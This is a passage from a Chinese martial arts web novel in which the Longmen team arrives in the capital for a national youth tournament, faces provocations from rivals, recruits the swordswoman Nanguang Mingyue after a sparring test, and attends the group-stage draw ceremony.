空气中弥漫着一种无形的张力,那是无数年轻武者**在一起,自然散发出的竞争气息。
王大头一行人走进来,再次吸引了不少目光。
相比于那些动辄传承数百年、名声在外的世家宗门,龙门确实显得太“新”了。
“咦?王会长,你们来了。”小林秘书不知从哪冒出来,“这边请,先到那边登记处核对信息,领取证件和比赛手册。”
登记处排着几支队伍。
轮到龙门时,负责登记的中年工作人员抬头看了他们一眼,公式化地问:“队伍名称?领队?参赛队员名单?”
“
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龙门武道研究会。领队王大头,队员张猛、孙浩、周倩、吴刚。”李雅递上早已准备好的资料。
工作人员在电脑上操作着,忽然“嗯?”了一声,扶了扶眼镜,又仔细看了看屏幕,然后抬头看向王大头,眼神里多了几分探究:“你就是王大头?泰山……那个王大头?”
他的声音不大,但在这相对安静的大厅里,却让附近几支队伍的人都竖起了耳朵。
“是我。”王大头坦然承认。
工作人员点点头,没再多问,**理好手续,将五个印着名字和编号的参赛证,以及厚厚的比赛手册递给李雅。
只是那眼神,分明比刚才多了些什么。
就在王大头他们拿着东西准备离开登记处时,旁边一支刚刚完成登记的队伍里,一个略带嘲讽的声音响了起来:
“啧,我还以为在泰山闹出那么大动静的是个什么三头六臂的人物呢,原来就是个毛头小子。看来江湖传言,果然夸大其词。”
说话的是个身穿黑色镶金边练功服的青年,二十出头,身材高大,眉眼间带着一股倨傲。他身边跟着几个同样穿着打扮的年轻人,都以他马首是瞻。
张猛脾气最爆,闻言立刻扭过头:“你说谁呢?”
黑衣青年嗤笑一声,目光斜睨着王大头:“就说你们,怎么了?一个听都没听过的小门小派,侥幸出了点风头,就真以为自己是什么人物了?这里是京城,是全国赛场,不是你们那乡下小地方!”
他旁边一个同伴帮腔:“就是,坤少说得对。什么科学武道,哗众取宠罢了!武术是老祖宗传下来的瑰宝,岂是你们这些半路出家的野路子能懂的?”
被称为“坤少”的青年下巴微抬,看着王大头:“听说你速度很快,取巧赢了个老头子?要不要现在跟我过两手,让你知道知道,什么叫真正的世家功夫?”
大厅里的气氛瞬间紧绷起来。
无数道目光聚焦过来,有好奇,有玩味,有期待。
刚来报到就起冲突,这可是个好戏码。
王大头看着这个挑衅的青年,能感觉到对方气息不弱,至少暗劲巅峰,而且那股子傲气是骨子里透出来的,显然是某个底蕴深厚的世家子弟。
他忽然笑了,笑容很平淡,甚至有些温和。
“比赛还没开始呢,急什么。”王大头语气轻松,“赛场上自然有机会见面。到时候,再领教你的‘真正世家功夫’也不迟。”
说完,他对张猛几人点点头:“走吧,先去熟悉一下场馆。”
他直接无视了对方的挑衅,转身就走。
这种淡然的态度,反而让那黑衣青年有种一拳打在棉花上的憋闷感,脸色顿时有些难看。
“哼,装模作样!赛场上别让我碰到你!”坤少冲着王大头的背影放了一句狠话。
走出大厅,张猛还有些不忿:“大头,刚才干嘛不教训那小子?太嚣张了!”
“跟那种人计较什么。”王大头摇摇头,“他是故意激我们,想在赛前扰乱我们心态,或者探探我们的底。我们要是真动了手,不管输赢,都落了下乘。比赛,才是见真章的地方。”
他回头看了一眼那庄严肃穆的协会大楼,眼神深邃。
“看到了吗?这就是京城,这就是全国赛场。藏龙卧虎,也牛鬼蛇神。咱们的目标是团队赛,是打出龙门的名号。在那之前,沉住气。”
初到京城的第一课,不是比武,而是修心。
第104章:潜流暗涌,明月照人
协会安排的住宿酒店餐厅里,龙门一行人正吃着晚饭。
周围几桌坐的大多是其他参赛队伍,气氛略显嘈杂,各地方言和议论声混杂在一起。
孙浩扒拉着米饭,小声嘀咕:“刚才那个穿黑衣服的,太气人了!什么坤少,我看是困少,欠揍!”
周倩用筷子轻轻敲了一下他的碗边:“吃饭,别乱说话。王老师说了,沉住气。”
吴刚闷头吃饭,但捏着筷子的手背青筋微微鼓起,显然心里也不平静。
张猛灌了口啤酒,压低声音对王大头说:“我打听了一下,那小子叫沈坤,是冀北‘劈挂掌’沈家的嫡系子弟。沈家在当地势力不小,这小子天赋据说也不错,是沈家这一代重点培养的,有点目中无人。”
“劈挂掌沈家……”王大头回想了一下赵师傅以前提过的北方武林世家,有点印象,以掌力刚猛、势大力沉著称。
“不用管他。跳得欢的,未必是咬人最狠的。”
他目光扫过餐厅,看似随意,实则《星辰观想法》带来的敏锐感知,如同无形的触角,捕捉着周围的信息流。
能坐在这里吃饭的,基本都不是庸手。
气息或沉凝、或锋锐、或诡异,各有千秋。
东边靠窗那桌,三个穿着青色道袍的年轻人,安静用餐,动作一丝不苟,隐隐有出尘之气,应该是某个道门流派的弟子。
西边角落,几个穿着迷彩作训裤和黑色紧身背心的精悍男子,坐姿笔挺,吃饭速度极快,眼神锐利如鹰,互相交流用的是简单的手势和眼神,纪律性极强,很可能是军方或警方背景的选拔队。
更远处,还有穿着少数民族服饰的、气息阴冷的、甚至有一个独自坐在阴影里、面前只放着一杯清水的枯瘦老者……
真可谓八方风雨聚京城。
“这次比赛,水果然很深。”王大头心中暗道。龙门想要脱颖而出,难度不小。
“王会长,打扰一下。”一个温和的声音在旁边响起。
众人抬头,只见一个穿着浅灰色休闲西装、戴着无框眼镜、气质儒雅的年轻男子站在桌旁,面带微笑。
他看起来二十六七岁,笑容真诚,让人生不出恶感。
“我是江南白家的白子羽,我们之前在泰山脚下见过一面。”男子自我介绍道。
王大头想起来了,是那个提醒他罗惊涛枪法弱点的白家子弟。他起身,客气地抱拳:“白公子,幸会。请坐。”
白子羽也不客气,在旁边的空位坐下。“刚到京城,就听说王会长和沈家的沈坤有点小摩擦?”
消息传得真快。
王大头笑了笑:“算不上摩擦,一点口舌之争而已。”
“沈坤此人,天赋尚可,但心胸稍窄,被家族宠惯了。”
白子羽摇摇头,语气温和但带着一丝疏离的点评,“王会长不必放在心上。倒是……”他话锋一转,声音压低了些,“王会长此次带队参赛,目标不小吧?”
“以武会友,学习为主。”王大头滴水不漏。
白子羽也不深究,笑了笑:“以武会友,说得好。不过,这次新秀赛,因为某些原因,关注度远超以往。各大世家、宗门都憋着劲,想在这次比赛中展现实力,争取更多话语权和资源。竞争可能会……异常激烈。王会长和龙门诸位,还需多加小心。”
他这话明显意有所指,带着善意的提醒。
“多谢白公子提醒。”王大头拱手,“不知白公子此次……”
“我?我只是随队来看看,增长见识,不算正式队员。”
白子羽摆摆手,“我们白家主业在医药,武道并非最强项,这次主要是观摩学习。对了,”他像是忽然想起什么,“如果王会长或贵门弟子在比赛中不慎受伤,需要帮助,可以随时找我。我们白家对治疗内伤外伤,还是有些独到之处的。”
这已经是相当明确的示好了。王大头再次道谢。
两人又闲聊了几句,白子羽便礼貌地告辞了。
“这个白子羽,人好像还不错?”孙浩小声说。
“世家子弟,心思深沉。不过目前看来,至少没有恶意。”
李雅分析道,“他主动示好,可能看中了大头的潜力,或者龙门的某种价值。多一个朋友总比多一个敌人好。”
晚饭后,众人各自回房休息。王大头独自站在房间窗前,看着京城璀璨的夜景,心中思绪翻涌。
沈坤的挑衅,白子羽的示好,餐厅里形形样样的高手……这一切都预示着一场硬仗。
龙门就像一艘突然闯入大江大河的舢板,看似轻快,却要面对无数潜流和巨浪。
“咚咚。”轻轻的敲门声响起。
开门,是李雅,她脸上带着一丝古怪的表情。
“怎么了,雅姐?”
“有个……访客。指名要见你。是个女孩。”李雅语气有些迟疑,“她说她叫南宫明月。”
南宫明月?没听过这个名字。
“请她进来吧。”王大头有些好奇。
不一会儿,李雅领着一个女子走了进来。
女子看起来二十岁左右,身高约一米七,穿着一身简洁的白色运动服,扎着利落的马尾。
她面容姣好,肤色是健康的小麦色,五官轮廓分明,尤其是一双眼睛,明亮清澈,顾盼间却有种锐利的光芒。
她背着一个长长的、用布包裹起来的条状物,看形状像是一把剑。
最引人注目的是她的气质。
不像一般女孩的娇柔,也不像雷战那种铁血刚硬,而是一种沉静中带着锋芒,从容里透着自信的感觉。
她站在那里,就如同一柄收入鞘中的剑,虽未出鞘,却已能让人感觉到其不凡。
“王会长,冒昧打扰。”
南宫明月开口,声音清脆,带着一种独特的韵律感,“我叫南宫明月,散修一名。此次前来,是想毛遂自荐,加入龙门的参赛队伍。”
开门见山,直接得让王大头和李雅都愣了一下。
“南宫姑娘……”王大头打量着她,“我们龙门参赛名单已经报上去了,不能再更改。而且,你我素不相识,为何要加入我们?”
南宫明月目光坦然地看着王大头:“名单问题,如果王会长同意,我可以作为替补队员或者随队人员申请。至于为什么……”
她顿了顿,继续说道:“我关注龙门有一段时间了。从你在滨海崛起,到泰山一战。我看过网上流传的(虽然很少)一些你们的训练片段和理念阐述。‘科学武道’,不走寻常路,注重实效和原理。这很有趣,也和我的某些想法不谋而合。”
“我自幼随师父在山中练剑,师父去世后下山游历,见识过不少所谓名门正派的功夫,也遇到过
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一些野路子的好手。但我总觉得,现在的武道,有些地方走进了死胡同,太注重形式和传承,少了些鲜活的东西。”
“龙门让我看到了不一样的可能。”
她的眼神很认真,“所以,我想近距离看看,甚至参与进去。至于实力……”
她右手轻轻一动,也没见她怎么用力,背后那长条布包裹忽然“嗡”地发出一声轻微的颤鸣,一股极其隐晦却锋锐的气息一闪而逝。
王大头眼神一凝!
这股气息……绝不是暗劲层次能拥有的!
甚至比一般的化劲宗师更加凝练、纯粹!
这女孩,是个用剑的高手,而且修为很可能不在自己之下!
一个如此年轻的女性先天剑手?散修?这简直不可思议!
“我可以用实力证明自己,也可以在比赛中,为龙门尽一份力。”
南宫明月语气平静,却带着不容置疑的自信,“我不求名利,只为印证所学,看看这条‘新路’到底能走多远。王会长,可否给我一个机会?”
房间内安静下来。
李雅惊讶地看着这个突然出现、气场强大的女孩。王大头则陷入了沉思。
南宫明月的出现,完全出乎意料。
她的实力和目的,都透着神秘。
接受她,无疑会为龙门团队增加一个强大的、未知的变数。
但同样,也可能带来不可预知的风险。
是机遇,还是麻烦?
王大头看着南宫明月清澈而坚定的眼睛,沉吟良久。
“团队赛五人名单已定,无法更改。”
他缓缓开口,“不过,我可以申请增加一名随队候补队员的名额。前提是,你需要通过我们内部的评估,并且遵守龙门的规矩。”
南宫明月眼中闪过一丝亮光,抱拳:“明白。何时评估?”
“就现在吧。”
王大头走到房间相对空旷的地方,摆出了起手式,“房间里地方小,只比三招。让我看看你的剑。”
南宫明月嘴角微扬,解下背后的长条布包,一层层揭开。
布包里,是一柄样式古朴的连鞘长剑。
剑鞘呈暗青色,没有任何装饰。她握住剑柄,缓缓拔出。
剑身并非雪亮,而是呈现出一种温润的淡青色,如同秋日的湖水。
剑锋并不显得特别锐利,但一眼望去,却让人感到眼睛微微刺痛。
她执剑在手,整个人的气质陡然一变!
之前的沉静从容,化作了无形的锋锐,仿佛她整个人,都变成了一柄即将出鞘的绝世利剑!
“请指教。”
南宫明月剑尖斜指地面。
王大头深吸一口气,体内内力奔涌,精神高度集中。
剑未出鞘,气已**。
南宫明月执剑而立的瞬间,房间里的空气仿佛都变得凝重了几分。
那柄淡青色的长剑在她手中,不像是一件兵器,倒像是她身体自然延伸出的一部分,和谐得没有半点滞涩。
王大头能清晰地感觉到对方身上那股隐而不发的剑意,纯粹、凝练,带着一种山泉般的清澈,却又暗藏斩断一切的锋锐。
这绝不是靠苦练就能达到的境界,需要极高的天赋和对剑道深刻的理解。
“第一招。”南宫明月声音平静。
她手腕微微一抖,连鞘的长剑化作一道青影,直刺而来。
第105章:早餐风波,暗潮初现
没有花哨的变化,没有骇人的声势,就是简简单单的一记直刺,却快得惊人,剑尖在空中划出一道笔直的淡青色轨迹,直指王大头胸口膻中穴。
王大头瞳孔微缩。
这一剑看似简单,却封**他左右闪避的大部分角度,更蕴含着一种“其疾如风”的意境,让人感到无论向哪边躲,剑尖都会如影随形。
更重要的是,他感觉到剑尖前方三尺处的空气似乎都被这一剑“刺穿”,形成了一道短暂的低压带,隐隐产生吸力,干扰对手的判断和身形。
“好剑法!”
心中暗赞,王大头却不退反进。
他没有选择硬接或完全闪避,而是脚下步伐交错,身体以一个极其微小的幅度侧转,同时右手并指如刀,没有迎向剑尖,而是斜斜切向剑身中段!
这是他从雷战教官那里学来的思路,也是“科学武道”的体现——攻击对方武器的受力薄弱点,破坏其平衡和发力。
“叮!”
一声极其轻微、却异常清脆的金铁交鸣声响起。
王大头的手指准确地切在了剑鞘中段偏前的位置。
触手处并非坚硬,反而有种柔韧的弹性,显然这剑鞘也不是凡品。
一股不大却极具穿透性的震荡力从剑身上传来,让南宫明月手腕微微一麻,剑势出现了极其短暂的凝滞。
而王大头也感到指尖传来刺痛,对方剑身蕴含的内劲精纯无比。
电光石火间,两人一触即分。
王大头后退半步,南宫明月持剑的手腕轻轻一旋,卸去余力,剑尖依旧斜指地面,仿佛从未动过。
“第二招。”南宫明月眼中闪过一丝异彩,显然没想到王大头会用这种方式破解她这试探性的一剑。
她剑势一变,不再是直刺,剑身轻颤,划出一道玄妙的弧线,仿佛清风拂过柳梢,不带丝毫烟火气,却笼罩向王大头上半身数处要害。
剑招变得飘忽不定,难以捉摸。
王大头精神高度集中,《星辰观想法》运转到极致。
在他感知中,那看似飘忽的剑影轨迹并非无迹可寻,其核心变化依然遵循着某种力学和能量运转的规律。
他没有试图去捕捉每一道剑影,而是脚步连踩,身形如同游鱼,在剑影的空隙间穿梭,每每在间不容发之际避过。
同时,他左手虚握成拳,一股螺旋劲力在拳锋凝聚,觑准对方剑势转换的一个极细微节点,一拳捣出!
这一拳没有打向南宫明月本人,而是打向她剑势必将经过的一片空处!
“砰!”拳风激荡空气,发出沉闷的响声。
南宫明月剑招果然被这预判性的拳风干扰,弧线出现偏差,笼罩之势顿破。
她轻“咦”一声,手腕再转,长剑回撤,变招之快,如同行云流水。
“第三招。”她语气中多了几分认真。
这一次,她没有立刻进攻。
剑尖垂地,她整个人的气息仿佛瞬间内敛,所有的锋锐都消失了,变得如同古井深潭,平静无波。
但王大头却感到一股更大的压力——这是暴风雨前的宁静,下一剑,必是石破天惊!
南宫明月双眸微闭,随即睁开,眼中神光湛然。
她缓缓举剑,剑尖遥指王大头。
明明剑还未动,王大头却感觉自己的眉心、咽喉、心口几处要害同时传来针扎般的刺痛感,仿佛已经被无形的剑气锁定!
这一剑,锁定的是“神”,是气势上的压迫!
王大头深吸一口气,体内内力奔腾,同样将气势提升到顶点,目光毫不退让地与对方对视。
他没有试图去破除那种被锁定的感觉,而是将精神力高度凝聚,如同最精密的雷达,感应着对方肌肉、内力、乃至精神波动的每一个细微变化,寻找出剑前那最关键的“征兆”。
时间仿佛凝固。
房间里的空气凝重得几乎要滴出水来。
李雅在一旁屏住呼吸,手心全是汗。
就在南宫明月手腕肌肉即将绷紧、内力将吐未吐的刹那——
王大头动了!
他没有闪避,也没有格挡,而是右脚猛地向前踏出半步,地面发出一声闷响!
同时,他张口,一声低沉却蕴含着内劲的短喝骤然爆发!
“咄!”
声音不大,却如同惊雷炸响在南宫明月蓄势待发的心神之中!
这是结合了内力震动与精神冲击的技巧,类似佛门“狮子吼”的简化版,专破凝神蓄势!
南宫明月心神被这突如其来的一喝震得微微一荡,那完美无缺的锁定之势出现了一丝极其细微的缝隙!
就是现在!
王大头身形如电,左手探出,五指呈爪,却不是抓向对方或剑,而是凌空一抓一引,一股柔韧的牵引之力作用在剑身之上,同时右掌无声无息地拍向南宫明月因心神微荡而稍稍迟滞的持剑手腕!
三招之约,最后一招,他选择主动出击,攻其必救,打断对方的蓄势!
南宫明月眼中神光暴涨,在最后关头反应过来,手腕巧妙一翻,剑身划了个小圆,不但卸开了牵引之力,剑柄末端更是如同毒蛇摆尾,点向王大头拍来的手掌!
“啪!”
掌与剑柄末端轻轻一碰,两人同时后退一步,拉开距离。
房间内恢复安静。只有两人略显粗重的呼吸声。
南宫明月看着王大头,眼神复杂,有惊讶,有赞赏,也有一丝棋逢对手的兴奋。
她缓缓收剑归鞘,那股迫人的剑意也随之消散。
“三招已过。”
她开口道,声音依旧清脆,“王会长果然名不虚传。临机应变,思路奇特,不拘泥于招式。这……就是科学武道?”
“算是其中一部分。”
王大头平复了一下气息,刚才三招虽短,但凶险和消耗丝毫不亚于一场大战,“更注重分析对手,寻找最优解,而不是硬碰硬。”
“受教了。”
南宫明月认真地点了点头,“我收回之前的话。龙门不仅有趣,而且……很强。我的申请,是否通过?”
王大头和李雅对视一眼。
刚才的交手,已经充分证明了南宫明月的实力。
绝对在张猛之上,甚至可能不弱于自己。
而且她的剑法自成体系,境界极高,对龙门团队是一个巨大的补充。
“欢迎加入,南宫姑娘。”
王大头伸出手,“作为随队候补队员。具体安排,我们稍后再详谈。”
南宫明月伸出右手,与王大头握了一下。
她的手并不柔软,反而有些粗糙,指关节处有练剑留下的老茧,但很有力。
“叫我明月就好。”她露出一丝淡淡的、几乎看不出的笑容。
就在这时,房门又被敲响了。李雅开门,是孙浩,他脸色有些古怪。
“王老师,雅姐,楼下餐厅……好像有点情况。猛哥让我上来叫你们。”
“怎么了?”
“来了好多其他队伍的人,好像在争论什么,气氛不太对。好像……跟咱们有点关系。”
王大头眉头微皱。看来,京城的早晨,也不平静。
“走,下去看看。”
一行人来到二楼餐厅。
早餐时间,餐厅里比昨晚更加热闹,几乎坐满了各色参赛者。
而在靠近取餐区的一片区域,围了不少人,隐隐有争吵声传来。
挤进去一看,只见张猛、吴刚、周倩三人站在那里,脸色都不太好看。
他们对面,站着七八个人,为首的正是昨晚那个沈坤,他身边除了昨天的同伴,还多了几个生面孔,其中一个穿着白色丝绸练功服、手持折扇的年轻人,气质阴柔,正摇着扇子,似笑非笑地看着张猛他们。
地上,打翻了一个餐盘,粥和小菜洒了一地。
周倩的
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袖口湿了一片,显然是被波及了。
“怎么回事?”王大头沉声问道。
张猛见到王大头,立刻说道:“大头,你来得正好!这帮人故意找茬!小周好好排队取餐,那个摇扇子的家伙突然挤过来,撞翻了餐盘,还倒打一耙说小周撞了他!”
沈坤抱着胳膊,冷笑道:“王会长,你的人**手毛脚,撞了人还这么横?京城可不是你们乡下,不懂规矩就滚回去!”
那个摇扇子的阴柔青年“唰”地合上扇子,用扇尖指了指地上的狼藉,慢悠悠地说:“我这身‘云锦缎’的练功服,是苏城老师傅手工做的,价值不菲。现在被你们的粥污了,说说看,怎么赔?”
他语气轻佻,眼神却带着明显的挑衅和戏谑。
周围其他队伍的**多抱着看热闹的心态,指指点点,没人出面调解。
王大头目光扫过对方几人,又看了看满脸委屈和愤怒的周倩,心里已然明了。
这分明是沈坤一伙故意挑事,想在新秀赛开始前就给龙门一个下马威,或者激怒他们,制造事端。
他正要开口,一个清冷的声音却先响了起来:
“云锦缎?苏城陈记老师傅的手工?”
南宫明月不知何时走到了前面,她看了一眼那阴柔青年的衣服,语气平淡,“陈老师傅三年前就不接外活了,他最后一批云锦缎,只做了三件,一件在陈家家主身上,一件去年慈善拍卖被港岛李家拍走,还有一件……”
她顿了顿,目光落在对方衣服袖口一个不起眼的暗纹上:“仿得不错,可惜暗纹的‘陈’字篆书,少了一笔。地摊货穿穿就算了,拿出来讹人,就有点丢人了。”
她的声音不大,但清晰地传遍了餐厅。那阴柔青年的脸色瞬间变得难看起来,周围也响起一阵低低的哄笑和议论。
“你……你胡说什么!”阴柔青年有些恼羞成怒。
南宫明月不再理他,而是看向沈坤,眼神平静无波:“沈家的劈挂掌,刚猛有余,灵巧不足。你脚步虚浮,气息略显躁进,显然是急于求成,基础没打牢。奉劝一句,赛前还是多调息静心,少出来惹是生非,免得赛场上丢人现眼,连累家族名声。”
这话说得毫不客气,直指沈坤练功的缺陷。
沈坤的脸一下子涨成了猪肝色,他没想到这个突然冒出来的、背剑的女子眼光如此毒辣,更没想到她说话这么不留情面。
“你是什么人?敢在这里大放厥词!”沈坤怒道。
“龙门,南宫明月。”
南宫明月报上名字,然后转向王大头,“王会长,早餐时间,没必要跟一些跳梁小丑浪费。我们换个地方吃吧。”
说完,她径直转身,向餐厅外走去。那份从容和视对方如无物的态度,比任何言语反击都更有力。
王大头心中暗赞,这南宫明月,不仅剑法高,嘴皮子和眼力也厉害得很。
他看了一眼脸色铁青的沈坤几人,也懒得再多说,对张猛他们挥挥手:“收拾一下,我们出去吃。”
龙门一行人就在众目睽睽之下,离开了餐厅。
留下沈坤一伙在原地,接受着四周各种意味目光的洗礼,尴尬又愤怒。
餐厅外的走廊上,张猛冲着南宫明月竖起大拇指:“明月姑娘,厉害啊!几句话把那几个家伙噎得够呛!”
南宫明月微微摇头:“口舌之争无益。不过,那个沈坤,还有他旁边那个用扇子的,气息都有些古怪,似乎用了某种催谷的丹药或秘法,短时间内提升实力,但根基不稳。赛场上遇到,要小心他们狗急跳墙。”
王大头点头记下,同时心中对南宫明月的评价又高了一层。
她不仅实力强,观察也细致入微。
一场早餐风波暂时平息,但所有人都知道,这只是大赛前的小小序曲。
真正的较量,很快就会在擂台上展开。
第106章:抽签仪式,初露峥嵘
上午九点,国家武道协会总部,最大的演武厅。
这里已经被布置成了新秀赛的开幕式兼抽签仪式现场。
巨大的电子屏幕悬挂在高处,台下是数百个整齐排列的座椅,此刻已经坐满了来自全国各地的参赛队伍,黑压压一片,足有近千人。
空气中弥漫着兴奋、紧张、竞争的气息,低声交谈的嗡嗡声汇成一片。
龙门一行人坐在偏后区域。
王大头、张猛、孙浩、周倩、吴刚、南宫明月(以随队人员身份),加上李雅,七人坐在一处。
周围不时有目光扫过来,经过早餐风波,龙门尤其是南宫明月,显然已经被不少队伍记住了。
“乖乖,人真多啊。”孙浩小声感叹,“这得有多少高手?”
“各省市推荐,加上各大世家宗门直派,还有像我们这样收到邀请的独立团体,队伍总数听说超过一百五十支,个人参赛者更多。”李雅翻看着手册,“第一轮个人赛是淘汰制,随机抽签,一局定胜负。估计要刷掉一大半人。”
“团队赛呢?”周倩问。
“团队赛要等个人赛进行到一定阶段才开始。赛制比较复杂,有小组循环,也有淘汰赛。”李雅解释。
前方主台上,已经坐了一排人。
中间是几位气息渊深、穿着传统长衫或中山装的老者,应该是武道协会的元老或裁判长。
旁边还有几位穿着正式西装的中年人,可能是相关部门的领导。
九点半,仪式正式开始。
一位精神矍铄、声音洪亮的老者上台致辞,无非是些“弘扬国术”、“以武会友”、“赛出风格赛出水平”的套话,但台下众人还是给予热烈的掌声。
接着,是裁判代表和运动员代表宣誓。
运动员代表是来自中原一大宗门的一名俊朗青年,气质沉稳,目光炯炯,引得台下不少女选手注目。
冗长的开幕环节终于过去,进入了最引人关注的抽签环节。
个人赛的抽签由电脑随机完成,结果会实时显示在大屏幕上。
随着工作人员的操作,大屏幕开始快速滚动一个个名字和对阵列表。
“快看!到我们江东省了!”孙浩眼尖。
屏幕上,江东省的名单陆续出现。很快,“王大头(龙门)”的名字跳了出来,后面跟着他的对手:“赵铁山(北河省,洪拳赵家)”。
“洪拳赵家?”张猛摸了摸下巴,“北方的硬功夫,听说拳势很猛。大头,你第一场就是个硬茬子啊。”
王大头看了一眼对手信息,照片上是个肤色黝黑、浓眉大眼的壮实青年。“正好,检验一下最近的修炼成果。”他语气平静。
接着,张猛、孙浩、周倩、吴刚的对阵也陆续出现。
张猛的对手是西山省一个煤矿子弟,练的是家传的“煤石拳”,名字很土,但据说实战威力不小。
孙浩运气“不错”,抽到了一个来自西南苗疆的女选手,资料显示擅长轻功和用毒(比赛禁用致命毒,但一些麻痹、致幻类的植物萃取物在允许范围内),这让孙浩有点头皮发麻。
周倩的对手是东海市一个海事大学的学生,练的是改良的“水警搏击术”。
吴刚则对上了一个来自草原的摔跤手,名叫***,身材像座小山。
“大家的对手都不简单啊。”李雅有些担忧,“第一轮就是硬仗。”
“这样才好。”
南宫明月忽然开口,她一直在静静观察屏幕,“第一轮就遇到强手,如果能赢,对信心和气势是极大的提升。而且可以早点暴露问题,后面还有调整时间。”
正说着,个人赛抽签全部结束。
大屏幕开始显示团队赛的小组抽签结果。
团队赛先是分小组循环赛,每组四到五支队伍,前两名出线。
团队赛的抽签是由各队领队上台,从一个特制的、据说能隔绝内力探测的合金箱子里抽取小球,小球上有组别编号。
“请各团队领队按顺序上台抽签。”主持人宣布。
抽签顺序似乎是随机的。
一个个或老成、或精悍、或年轻的领队走上台,将手伸进合金箱,取出小球,向台下展示,然后由工作人员记录。
“青城剑派,C组3号。”
“川中唐门(外门),F组1号。”
“西山八极郭家,A组2号。”
“中原少林俗家弟子会,D组1号。”……
一个个响亮的名号被报出,引起台下阵阵低呼。
这些传统强队,无疑是出线的热门。
“冀北劈挂掌沈家,B组4号。”沈坤作为沈家领队上台,抽签后,特意朝龙门这边看了一眼,眼神不善。
很快就轮到了龙门。主持人念道:“滨海龙门武道研究会,请领队上台抽签。”
王大头站起身,在众多目光注视下,稳步走上主台。
他能感觉到,台下无数道视线聚焦在自己身上,好奇、审视、不屑、探究……不一而足。
毕竟,泰山之战的名声和早餐的小冲突,已经让他和龙门成了话题。
他走到合金箱前,箱子开口处蒙着一层特制的黑色厚布,完全看不到里面。
他平静地将手伸了进去。箱内似乎有某种微弱的能量场在干扰感知,让人很难通过触感判断小球的不同。
他随意摸了一个,拿了出来。
是一个红色的小球,上面用白色字体写着“E”。
“龙门,E组5号。”工作人员记录并大声宣布。
E组?王大头走下台,回到座位。李雅迅速翻看着手册上已经抽出的E组队伍。
“E组目前抽出的有:1号,东北长白山‘参帮’(咦?采参人的团体?);2号,华南‘鹤形门’;3号,西北‘金刚寺’(藏传佛教武僧?);4号是……京城‘天骄预备营’!”
“天骄预备营?”张猛一愣,“这什么来头?名字这么嚣张?”
旁边一个似乎消息比较灵通的别队队员听到了,转过头,压低声音说:“你们不知道?天骄预备营,听说是几位退下来的军中格斗大佬和某些世家联合搞的,专门搜罗有潜力的年轻人,用最科学(他们自称)也是最残酷的方法训练,目标就是培养能在国际格斗赛事上夺冠的苗子。里面的人,路子野,实力强,而且……不太讲规矩。是这次团队赛的夺冠热门之一!”
王大头目光微凝。
E组看来不轻松。
长白山参帮听着低调,但能在恶劣环境中生存采参的,手底下肯定有真功夫。
鹤形门是南方传统流派,以轻灵刁钻著称。
金刚寺的武僧,硬功和意志力必然极强。
再加上这个神秘且强势的“天骄预备营”……龙门想出线,每一场都是硬仗。
抽签继续进行。
当“江南白家”被抽到H组时,白子羽在台下朝着王大头这边微笑颔首示意。
最后上台抽签的几支队伍,引起了更大的关注。
“特别邀请队,‘暗影’。”主持人念出这个名字时,台下出现了一阵明显的骚动。
上台的是一个全身笼罩在黑色斗篷里、看不清面容的人,身材不高,动作轻盈利落。
他(或她)抽到了G组。
“暗影?是那个国际上都很神秘的**组织?他们也来参加这种比赛?”有人惊呼。
“应该是他们外围的‘清道夫’或者培养的
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新人吧。不过就算是外围,也够可怕的。”
接着,又一个名字让气氛更加凝重。
“特别邀请队,‘A.E.G.I.S亚洲分部青年队’。”
一个金发碧眼、身材高大健硕、穿着黑色战术背心的西方青年走上台,表情冷峻,目光扫过台下时带着毫不掩饰的优越感和审视。
他抽到了F组。
“境外基因强化组织的人也来了?”
“协会怎么连他们都邀请了?”
“听说是有交换协议,而且他们也挂名在某个国际武道联合会下面,手续上说得过去。不过……”
台下议论纷纷。
显然,A.E.G.I.S队伍的加入,让这次新秀赛的意味变得更加复杂。
许多人看向F组的队伍,尤其是同组的川中唐门外门弟子,眼神都带上了同情。
跟这帮改造战士打,可不是闹着玩的。
抽签全部结束。
大屏幕上显示了完整的分组情况。
个人赛将在明天上午正式开始。
团队赛的小组赛则在一周后,待个人赛进行两轮后进行。
开幕式暨抽签仪式在一片更加热烈的议论声中结束。
各支队伍陆续退场,许多人脸上都带着凝重或兴奋的表情。
抽签结果,决定了他们最初的道路。
龙门一行人随着人流往外走。刚到大厅,就被人拦住了。
拦路的是三个人。
两个是熟面孔——沈坤和他那个摇扇子的同伴。
还有一个,是个穿着黑色紧身训练服、剃着板寸、眼神桀骜不驯的年轻人,他抱着胳膊,打量着王大头几人,尤其是目光在南宫明月身上多停留了几秒。
“王会长,又见面了。”
沈坤皮笑肉不笑地说,“抽签结果看到了?你们在E组,我们在B组。可惜,小组赛碰不上了。不过,希望你们能坚持到淘汰赛,别在小组赛就被刷下去,那可就太没意思了。”
那个板寸青年嗤笑一声,开口道:“你就是那个王大头?听说有点本事。我是天骄预备营的,叫高战。我们也在E组。到时候,可别让我太失望。”他语气嚣张,充满了挑衅。
摇扇子的阴柔青年则摇着扇子,阴恻恻地补充:“王会长身边这位南宫姑娘,眼光毒,嘴皮子利。就是不知道手上的功夫,是不是也像嘴皮子一样厉害?赛场上刀剑无眼,可要小心了。”
面对三人的连番挑衅,张猛又要发作,王大头却抬手拦住了他。
王大头目光平静地扫过三人,最后落在那个天骄预备营的高战身上,忽然笑了笑。
“赛场上,自然会见分晓。”
他的语气依旧平淡,却带着一种不容置疑的自信,“至于失望……你放心,我们龙门,从来不会让对手失望。只会让对手,记住教训。”
说完,他不再看三人一眼,对身旁的队友们说道:“走吧,回去准备。明天,比赛就开始了。”
他率先迈步,从三人旁边走过。
南宫明月、张猛等人紧随其后。
经过高战身边时,南宫明月甚至连眼皮都没抬一下,仿佛对方只是空气。
这种彻底的无视,比任何言语反击都更让高战感到憋闷和恼怒。
他盯着龙门几人离去的背影,眼神阴鸷。
“妈的,够狂!E组是吧?等着!”高战狠狠啐了一口。
沈坤眼神闪烁,低声道:“高兄不必动气。龙门也就那个王大头和那个女的可能有点看头,其他人不足为虑。小组赛只要针对他们这两个点,让他们赢不了,自然就被淘汰了。到时候,看他们还怎么狂!”
抽签仪式结束,硝烟味却已悄然弥漫。
第107章:首战立威
个人赛在第二天清晨拉开帷幕。
赛场设在协会总部后方的露天演武场,八座标准擂台呈扇形排开,周围是阶梯看台。
晨光熹微中,各色旗帜飘扬,气氛已如绷紧的弓弦。
龙门一行人早早来到选手休息区。
王大头穿着龙门统一定制的藏青色练功服——这是李雅特意设计的,面料吸汗透气,剪裁兼顾活动便利与武者风范。
左胸口绣着一条简约的银色龙纹,袖口有暗纹云纹。
